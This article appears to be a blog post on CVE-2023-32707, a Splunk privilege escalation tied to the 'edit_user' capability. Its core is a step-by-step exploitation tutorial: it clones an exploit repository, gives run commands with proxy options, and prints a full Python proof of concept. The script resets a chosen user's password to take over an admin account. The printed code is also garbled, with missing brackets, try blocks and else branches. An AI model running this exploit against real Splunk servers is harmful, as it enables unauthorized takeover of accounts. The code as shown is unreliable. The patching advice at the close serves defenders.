Understanding the Impact of CVE-2023-32707 on Splunk Platforms

In the dynamic realm of cybersecurity, new vulnerabilities frequently emerge, necessitating ongoing vigilance and swift action.

The latest in this chain is CVE-2023-32707, a critical vulnerability that has surfaced in specific versions of Splunk Enterprise and Splunk Cloud Platform.

This flaw, tied to the ‘edit_user’ capability, could potentially enable a user with lower-level privileges to escalate their access rights to that of an admin.

As we unpack the details of this vulnerability, it becomes apparent how crucial it is for organizations to maintain up-to-date security measures and stay informed about the evolving cyber threat landscape.

A Deep Dive into Splunk Enterprise and Cloud Platform Vulnerability

CVE-2023-32707 affects multiple versions of Splunk Enterprise and Splunk Cloud Platform.

Splunk Enterprise and Splunk Cloud Platform are well-regarded for their capabilities in data collection and processing. However, certain versions of these platforms have been discovered to harbor a potential threat.

The affected versions include Splunk Enterprise versions below 9.0.5, 8.2.11, and 8.1.14, as well as Splunk Cloud Platform versions below 9.0.2303.100.

The issue lies in the privileges granted to low-privileged users within these platforms. Specifically, those users who possess a role with the ‘edit_user’ capability assigned can exploit this vulnerability.

By crafting specialized web requests, they can upgrade their privileges to match those of the administrative user.

In simpler terms, imagine an employee in an organization who only has limited access to certain functions within these platforms.

If they have the ‘edit_user’ capability, they can potentially manipulate the system by creating specific web requests. This manipulation allows them to gain the same level of access as the system administrator, bypassing the usual security protocols.

This vulnerability presents a significant risk, as it allows unauthorized access to sensitive data and system functions. It compromises the integrity of the system and potentially allows for destructive actions to be taken from within.

A Step-by-Step Guide to CVE-2023-32707 Exploitation

Cybersecurity is a continuously evolving field, with new vulnerabilities being discovered regularly.

One such vulnerability is CVE-2023-32707, which affects Splunk 9.0.5 and allows for an admin account takeover.

This tutorial will walk you through the process of exploiting this vulnerability.

What You Need to Know

This exploit targets a specific weakness in Splunk 9.0.5, allowing a user with limited privileges, but with the ‘edit_user’ capability, to escalate their permissions to those of an admin.

Preparing for the Exploit

Before we get started, you’ll need to ensure you have a few things set up:

  1. Python 3.x installed on your system.
  2. The following Python packages: ‘requests’ and ‘urllib3’. These can be installed using pip3 with the command pip3 install -r requirements.txt

Executing the Exploit

Follow these steps to execute the exploit:

  1. First, clone the repository by executing the following command in your terminal: git clone https://github.com/9xN/CVE-2023-32707.git
  2. Navigate into the cloned repository with the command cd CVE-2023-32707
  3. Now, you’re ready to run the script. Use the following command: python3 exploit.py --host <splunk_host> --username <splunk_username> --password <splunk_password> --target-user <target_user> --force-exploit. Remember to replace <splunk_host>, <splunk_username>, <splunk_password>, and <target_user> with your actual Splunk server details.

The Python script (PoC):

import argparse
import requests
import random
import string
import base64
import urllib3

# Ignore warnings

def print_banner():
    print("\033[38;5;138m \033[38;5;138m┌\033[38;5;138m─\033[38;5;138m┐\033[38;5;138m \033[38;5;138m┌\033[38;5;138m─\033[38;5;138m┐\033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m \033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m┌\033[38;5;138m┐\033[38;5;138m┌\033[38;5;138m \033[38;5;138m┬\033[38;5;138m┌\033[38;5;138m─\033[38;5;138m \033[38;5;138m┌\033[38;5;138m─\033[38;5;138m┐\033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m┬\033[38;5;138m \033[38;5;138m┌\033[38;5;138m┐\033[38;5;138m┌")
    print("\033[38;5;138m \033[38;5;138m└\033[38;5;138m─\033[38;5;138m┐\033[38;5;139m \033[38;5;139m├\033[38;5;139m─\033[38;5;139m┘\033[38;5;139m \033[38;5;139m│\033[38;5;139m \033[38;5;139m \033[38;5;139m \033[38;5;139m│\033[38;5;139m \033[38;5;139m│\033[38;5;139m \033[38;5;139m│\033[38;5;139m│\033[38;5;139m│\033[38;5;139m \033[38;5;139m├\033[38;5;139m┴\033[38;5;139m┐\033[38;5;139m \033[38;5;139m├\033[38;5;139m─\033[38;5;139m┘\033[38;5;139m \033[38;5;139m│\033[38;5;139m│\033[38;5;139m│\033[38;5;139m \033[38;5;139m│\033[38;5;139m│\033[38;5;139m│")
    print("\033[38;5;139m \033[38;5;139m└\033[38;5;139m─\033[38;5;139m┘\033[38;5;140m \033[38;5;140m┴\033[38;5;140m \033[38;5;140m \033[38;5;140m \033[38;5;140m┴\033[38;5;140m─\033[38;5;140m┘\033[38;5;140m \033[38;5;140m└\033[38;5;140m─\033[38;5;140m┘\033[38;5;140m \033[38;5;140m┘\033[38;5;140m└\033[38;5;140m┘\033[38;5;140m \033[38;5;140m┴\033[38;5;140m \033[38;5;140m┴\033[38;5;140m \033[38;5;140m┴\033[38;5;140m \033[38;5;140m \033[38;5;140m \033[38;5;140m└\033[38;5;140m┴\033[38;5;140m┘\033[38;5;140m \033[38;5;140m┘\033[38;5;140m└\033[38;5;140m┘")

def is_version_affected(splunk_version):
    affected_ranges = [
        {'start': '8.1.0', 'end': '8.1.13'},
        {'start': '8.2.0', 'end': '8.2.10'},
        {'start': '9.0.0', 'end': '9.0.4'}
    for range_ in affected_ranges:
        if compare_versions(range_['start'], splunk_version) <= 0 <= compare_versions(range_['end'], splunk_version):
            return True
    return False

def compare_versions(version1, version2):
    version1 = list(map(int, version1.split('.')))
    version2 = list(map(int, version2.split('.')))
    for v1, v2 in zip(version1, version2):
        if v1 < v2:
            return -1
        elif v1 > v2:
            return 1
    return 0

def load_proxies_from_file(file_path):
    proxies = {}
        with open(file_path, 'r') as f:
            for line in f:
                protocol, proxy_url = line.strip().split('=')
                proxies[protocol] = proxy_url
    except FileNotFoundError:
        print(f"Proxy file '{file_path}' not found.")
    except Exception as e:
        print(f"Error loading proxies from file: {e}")
    return proxies

def main():

        parser = argparse.ArgumentParser(description='Splunk Authentication')
        parser.add_argument('--host', required=True, help='Splunk host or IP address')
        parser.add_argument('--username', required=True, help='Splunk username')
        parser.add_argument('--password', required=True, help='Splunk password')
        parser.add_argument('--target-user', required=True, help='Target user')
        parser.add_argument('--force-exploit', action='store_true', help='Force exploit')
        parser.add_argument('--proxy-file', help='File containing proxies')

        args = parser.parse_args()

        splunk_host = args.host.split(':')[0]
        splunk_username = args.username
        splunk_password = args.password
        target_user = args.target_user
        force_exploit = args.force_exploit
        proxy_file = args.proxy_file

        splunk_port = args.host.split(':')[1] if len(args.host.split(':')) > 1 else 8089
        user_endpoint = f"https://{splunk_host}:{splunk_port}/services/authentication/users"

        credentials = f"{splunk_username}:{splunk_password}"
        base64_credentials = base64.b64encode(credentials.encode()).decode()
        headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0',
            'Authorization': f'Basic {base64_credentials}'

        proxies = {}

        if proxy_file:
            proxies = load_proxies_from_file(proxy_file)

        response = requests.get(f"{user_endpoint}/{splunk_username}?output_mode=json", headers=headers, proxies=proxies, verify=False)

        if response.status_code == 200:
            user = response.json()
            splunk_version = user['generator']['version']

            print(f"Detected Splunk version '{splunk_version}'")

            if is_version_affected(splunk_version) or force_exploit:
                user_capabilities = user['entry'][0]['content']['capabilities']

                if 'edit_user' in user_capabilities:
                    print(f"User '{splunk_username}' has the 'edit_user' capability, which would make this target exploitable.")
                    new_password = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8))
                    change_password_payload = {
                        'password': new_password,
                        'force-change-pass': 0,
                        'locked-out': 0
                    response = requests.post(f"{user_endpoint}/{target_user}?output_mode=json", data=change_password_payload, headers=headers, proxies=proxies, verify=False)
                    if response.status_code == 200:
                        print(f"Successfully taken over user '{target_user}', log into Splunk with the password '{new_password}'")
                        print('Account takeover failed')
                    print(f"User '{splunk_username}' does not have the 'edit_user' capability, which makes this target not exploitable by this user.")
                print(f"Splunk version '{splunk_version}' is not affected by CVE-2023-32707")
            print(f"Failed to authenticate to Splunk server '{splunk_host}' with user '{splunk_username}' and password '{splunk_password}'. Status code: {response.status_code}")
    except Exception as e:
        print(f"An unexpected error occurred: {e}")

if __name__ == "__main__":

Understanding Command-line Options

Here’s a brief explanation of the command-line options you can use when running the exploit:

  • --host: This is the IP address or hostname of your Splunk server and is required.
  • --username: The username for your Splunk account, also required.
  • --password: Your Splunk account password, which is required.
  • --target-user: The user you aim to take over. This is required.
  • --force-exploit: This option forces the exploit and is optional.
  • --proxy-file: If you need to use proxies, you can specify this option with the path to a file containing your proxy settings.

Using Proxies

If you want to use proxies during your exploit, indicate the --proxy-file option followed by the path to your file containing proxy settings.

Here’s an example:

python3 exploit.py --host <splunk_host> --username <splunk_username> --password <splunk_password> --target-user <target_user> --force-exploit --proxy-file proxies.txt

By following these instructions, you can successfully exploit the CVE-2023-32707 vulnerability.


It’s crucial for organizations using the affected versions of Splunk Enterprise and Splunk Cloud Platform to take immediate action to mitigate this vulnerability.

Updating to a more recent version is a recommended course of action to ensure the security of your data and systems.


CVE-2023-32707 serves as a stark reminder of the constant vigilance required in the field of cybersecurity.

This vulnerability in both Splunk Enterprise and Splunk Cloud Platform poses a significant risk, especially if exploited by malicious actors.

It highlights the importance of keeping software up-to-date and regularly auditing user privileges to prevent potential exploits.

As we move forward, it’s clear that staying ahead of these vulnerabilities not only requires robust security measures but also a commitment to continual learning and adaptation in the face of new challenges.